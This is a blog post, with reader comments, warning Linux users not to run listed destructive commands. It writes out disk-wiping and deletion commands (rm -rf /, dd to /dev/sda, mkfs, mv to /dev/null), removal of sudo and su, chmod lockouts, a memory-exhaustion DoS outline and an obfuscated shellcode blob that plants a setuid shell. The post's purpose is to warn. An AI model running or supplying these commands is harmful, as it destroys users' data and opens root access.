[digg-me]In this post I will collect all commands which SHOULD NEVER be executed in Linux. Any of them will cause data loss or corruption, can freeze or hang up running system.
NEVER RUN THESE COMMANDS IN LINUX BOX CLI!
Even if somebody advises you in forum/im to do it.
1. Any of these commands will erase everything from your home directory, root or just will clear up whole disk:
- sudo rm -rf /
- rm -rf .*
- dd if=/dev/zero of=/dev/sda
- mkfs.ext3 /dev/hda
- whatever > /dev/hda
- cd ~; for x in `ls`; do mv -f $x $y; y=$x; done
- find -type f -mtime +30 -exec mv {} /dev/null \;
- mv ~ /dev/null
- mv / /dev/null
2. Causes kernel panic or freezes Linux box:
#also known as
3. This one does the same as “rm -rf /”:
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
4. This one will prevent you from executing commands with root rights:
rm -f /usr/bin/sudo;rm -f /bin/su
If you know any other commands that can damage running Linux system or pose fatal problem to system administrators — just comment it here so I could update this post. Thanks.
Update: See what happens if execute rm -rf / in Ubuntu: http://www.youtube.com/watch?v=wWOjmvWPRvQ
Interesting.
I think it won't hurt to try this on VirtualBox, right?
rm -rf /dev || rm -rf /bin
chmod -x /bin/*
chmod -x /usr/bin/*
chmod -x /usr/local/bin/*
This also prevents chmod from being executed 🙂
One that I've seen used on *nix systems for years as a DoS is a custom program designed to malloc() all memory in the machine. The result is not destructive per se, but it brings the machine to an unusable state – on older Sun systems, you couldn't even run commands to find out who nuked the machine because there was no memory to allocate file handles necessary to initiate new processes.
Basically the program works like this (pseudocode below):
—
define somenum = 1024000000
while(1)
if (malloc(somenum) not true) // True state means that it succeeded
somenum /= 2 // If the malloc fails, cut the size in half and try again
—
If the machine has a larger amount of memory + swap, increase the size of somenum accordingly.
Runs pretty quickly (fast enough that no human could nail it down). A reboot's the only fix.
Do you have to be logged in as root for these, or could any user deliberately destroy a Linux computer by entering one of these commands?
And why haven't these dangerous commands been blacklisted or removed from usage? If we can write dangerous stuff we can also write ways to safeguard these things. Something to think about all you geniuses out there…
You can resist the forkbomb easily by limiting the max processes using ulimit:
ulimit -u 4096
It isn't bulletproof, but will help in a lot of cases.
@JH: Linux has a feature in the kernel called Overcommit Memory, which comes with a killer application (literally). What this means is that the kernel will quite happily say yes to all malloc requests, assuming that most programs request more than they actually use. For your program to work you will also have to write to the memory as well. Even then, when your program is nearly using all available memory, a tracker kicks in which keeps a scoreboard for all applications. This tracker will kill the program with the worst score, which is most likely to be your DoS application. You can't turn this feature off completely, but by using
#Disable over-commit memory (malloc returns NULL when out of mem; iso oom killer)
echo 2 > /proc/sys/vm/overcommit_memory
echo 100 > /proc/sys/vm/overcommit_ratio
you can let applications know there is actually no more memory that is physically available and let malloc return NULL (this example comes from an embedded device with no swap).
In short: just allocating and not using memory will not bring your system down.
@Billy: done! 🙂
@Billy — because all of these commands have legitimate uses, and are frequently executed "under the hood" by your GUI's file manager (which acts as a "front end" in this case). "rm" is simply "remove file", equivalent to m$do$ "del". Most Windoze users are smart enough to not execute "del *.*", most of these are the same stripe.
"chmod" is how one changes permissions for reading, modifying, and executing files (from GUI, context menu from right-clicking on KDE desktops); such commands based on this typically don't destroy files, they just completely and permanently lock you out of your own command path and/or personal files. Unless one comes in as root via a LiveCD with usable command paths and do the necessary fixes. Which, if one was gullible enough to execute one of the above commands, means one likely doesn't know how to do said fixes…
"dd" used to be needed to create boot floppies, and is still used for writing disk partitions from image files, doing whole-partition backups, and possibly ultimately by k3b/brasero cd burners, referenced by cdrao or other related commands.
mkfs.* is the equivalent of saying "format C:", and again most Windoze users have acquired enough sense not to do that, this is the same warning. Taking command line options away from the "stupid users", namely all of us out here in the wild, "for their own protection" is pure Microsoft; educational approaches like this are much better and saves neophytes undeserved grief — grief that may turn them back to m$!
I'm not a guru by any stretch, I'm a GUI-first user with only 3 years of experience with Linux. The only one of those commands I don't immediately parse as dangerous on sight is the one with the built-in DO loop. I'd probably "man rm" to figure out what the -f switch does, and single-step through the loop on paper. The heavily obfuscated code of #3 trips my internal paranoia, because I recognize it as such, even though I don't know how to decode it.
if only more guides said to use -I rather then -f on rm, as the default is -i, or ask for every last file in the dir tree when using -r…
also, -v could be nice, so that people actually see what files are being deleted, and may be able to try and kill the process if they see it grabbing to many files.
but most of these are about misunderstanding shell wildcards, resulting in the command starting in the wrong place (and it do not help that the . is used as a "hide" prefix, current dir, as well as a single letter indicator in regular expressions).
having a automatic dry run when encountering a wildcard or regular expression could probably save a lot of grief. Something like "here is a list of paths affected by the entered command, are you sure you want to continue?".
you forgot swinging an ax through your computer. I always kick myself after I do that. It's just too easy. And yes billy, axes should be banned.
ru
Billy asked "And why haven’t these dangerous commands been blacklisted or removed from usage?"
The answer is that sometimes these commands are needed – occasionally you may *want* to wipe an entire directory, or drive, or whatever. Castrating a Unix-type system to protect idiots (not aimed at you, Billy) from themselves, is not something most people would find acceptable. If you accidentally nuke your drive, you will probably never do it again (at least, not in the same way). As an aside, can't you point-and-click your way into reformating a drive under Windows?
Also, I suspect that using a hammer on a hard drive might also render it unusable.
To the person who asked if these could be executed on a VirtualBox without any problems…. well, the answer is "it depends"…. if your virtualbox image is that, and not pointing to a real hard disk, they you'll only screw up the virtualbox machine… if, however, your virtualbox machine is pointing to a real disc, then kiss whatever was on that disc good bye…
as a real noob i must say that the only command that looks bite you in the backside dangerous to me is the:
mkfs.ext3
all the others would ring no bells to me at all.
obviously i'm not saying that all dangerous commands must begin with some sort of warning but surely lethsl commands could have a "really?" type warning.
p.s.
please tell me that the "whatever" command is from the catherine tate show.
any, ANY, kid who's watched that show would have no qualms about doing that one!
All these commands are somewhat under the hood for new nix users and need to be run as root to do any real damage. If you are new to nix by all means drop to the shell and start learning these the many powerful commands you have at your disposal. It's as simple as 'man command' and you get an, albeit, terse description of the command, but it is complete and will show you where the real power of nix resides. So what and where are these commands, well for ordinary users you'll find them in /bin and /usr/bin, dor the superuser and other daemon accounts, they are in /sbin and /usr/sbin but there is some crossover. If your really interested buy a traditional book on Unix that just lists all the commands with their descriptions, as in just printing out all the man pages. You really don't know what you have in your hands until you read the man pages and documentation under /usr/share/doc but if the GUI does it for you, just stay there.
Nix treats you like an adult, you get to do anything you want and all without a safety-net. It's amazing how that focuses the mind. If you want all the hand-holding, stay with the GUI, keep away from root or stick with Windows.
It’s really amusing to see how the retards who scornfully talk about “hand-holding” or “being treated as an adult” (Oh, the irony) “without a safety net” are almost always the same who end up nuking their own system or get their servers compromised by some 13-year old. A fail is you.
as expected.. linux sucks
this is bullpoop. i tried every one of these and nothing happened!!!!
Also, never run “mv * “